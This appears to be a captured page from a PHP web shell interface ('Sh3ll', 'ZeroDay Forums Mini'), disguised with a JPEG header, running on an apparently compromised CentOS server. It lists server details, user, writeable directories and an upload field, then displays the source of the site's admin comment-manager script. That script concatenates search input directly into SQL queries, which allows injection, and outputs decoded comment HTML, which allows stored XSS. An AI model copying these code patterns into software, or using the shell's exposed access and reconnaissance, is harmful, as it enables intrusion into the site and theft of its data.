ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/netphim/code/admin/comment/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/netphim/code/admin/comment/list.php
<?php
$type = $CORE->input['type'] ?? 'list';
$f = $CORE->input['s']??array();
$CORE->title_page = 'Comment manager';
$user_id = intval($ob_user->user_id);
$where = " AND parent_id=0 ";
$where_sub = '';
$param_search='';
foreach($f as $key=>$val){
    if(isset($val) and trim($val)!='') {
        if ($key == 'keyword') {
            $val = trim($val);
            $where .= " AND comment_content LIKE '%" . $val . "%' ";
        }
        if ($key == 'manga') {
            $val = trim($val);
            $where .= " AND truyen_name LIKE '%" . $val . "%' ";
        }
        /*if ($key == 'status') {
            $val = trim($val);
            $where .= " AND comment_status='" . $val . "' ";
            $where_sub = " AND comment_status='" . $val . "' ";
        }*/

        $param_search .= 's[' . $key . ']=' . trim($val) . '&';
    }
}

$order_by = 'have_report DESC, time_post DESC,like_num DESC';
$pageNum = isset($_GET['pageNum']) ? intval($_GET['pageNum']) : 1;
$pageSize = 25;
$from = (($pageNum * $pageSize) - $pageSize);
$t = $DB->fetch_row($DB->query("SELECT count(*) as total FROM tb_comment WHERE 1 ".$where));
$total = $t['total'];
$totalPage = ceil($total / $pageSize);
$q_comment = $DB->query("SELECT * FROM tb_comment WHERE 1 ".$where." ORDER BY $order_by LIMIT $from,$pageSize");
$list = '';
$flag = '';
while($r_comment = $DB->fetch_row($q_comment)) {
    $comment_id = $r_comment['comment_id'];
    $date_comment = date('d/m/Y h:i:s A', $r_comment['time_post']);
    $date_comment2 = date('Y-m-d H:i:s', ($r_comment['time_post'] - (12 * 60 * 60)));
    $time_comment = $func->time_ago($r_comment['time_post']);
    $time_flag = date('F j, Y',$r_comment['time_post']);

    $list .= '
    <tr><td>'.$r_comment['truyen_name'].'</td><td>'.$date_comment.'</td><td>'.html_entity_decode($r_comment['comment_content']).'</td><td><a href="index.php?act=admin&code=users&type=list&fkeyword='.$r_comment['user_id_post_name'].'">'.$r_comment['user_id_post_name'].'</a></td><td>'.$r_comment['have_report'].'</td><td>'.$r_comment['comment_status'].'</td><td><a href="javascript:void(0);" onclick="open_popup(\'?act=admin&code=comment&type=delete&comment_id='.$comment_id.'\',\'Delete\');" class="btn btn-sm btn-danger">Delete</a></td></tr>';
    $q_sub = $DB->query("select * from (select * from tb_comment order by parent_id, comment_id) products_sorted, (select @pv := '".$comment_id."') initialisation where find_in_set(parent_id, @pv) and length(@pv := concat(@pv, ',', comment_id)) ;");
    $list_sub = '';
    while($r_sub = $DB->fetch_row($q_sub)) {
        $comment_sub_id = $r_sub['comment_id'];
        $date_comment = date('d/m/Y h:i:s A', $r_sub['time_post']);
        $date_comment2 = date('Y-m-d H:i:s', $r_sub['time_post']);
        $time_comment = $func->time_ago($r_sub['time_post']);
        $list_sub .= '
        <tr style="font-size: 12px;"><td>'.$r_sub['truyen_name'].'</td><td>'.$date_comment.'</td><td>'.html_entity_decode($r_sub['comment_content']).' <br/><span class="text-info"><i>commented on '.$r_sub['user_id_post_name'].'</i></span></td><td><a href="index.php?act=admin&code=users&type=list&fkeyword='.$r_sub['user_id_post_name'].'">'.$r_sub['user_id_post_name'].'</a></td><td>'.$r_sub['have_report'].'</td><td>'.$r_sub['comment_status'].'</td><td><a href="javascript:void(0);" onclick="open_popup(\'?act=admin&code=comment&type=delete&comment_id='.$comment_sub_id.'\',\'Delete\');" class="btn btn-sm btn-danger">Delete</a></td></tr>
      ';
    }
    if(!empty($list_sub)){
        $list .= $list_sub;
    }
}
$nav = $print->Pagination($totalPage,$pageNum,'pages','?act=admin&code=comment&'.$param_search);
?>

ZeroDay Forums Mini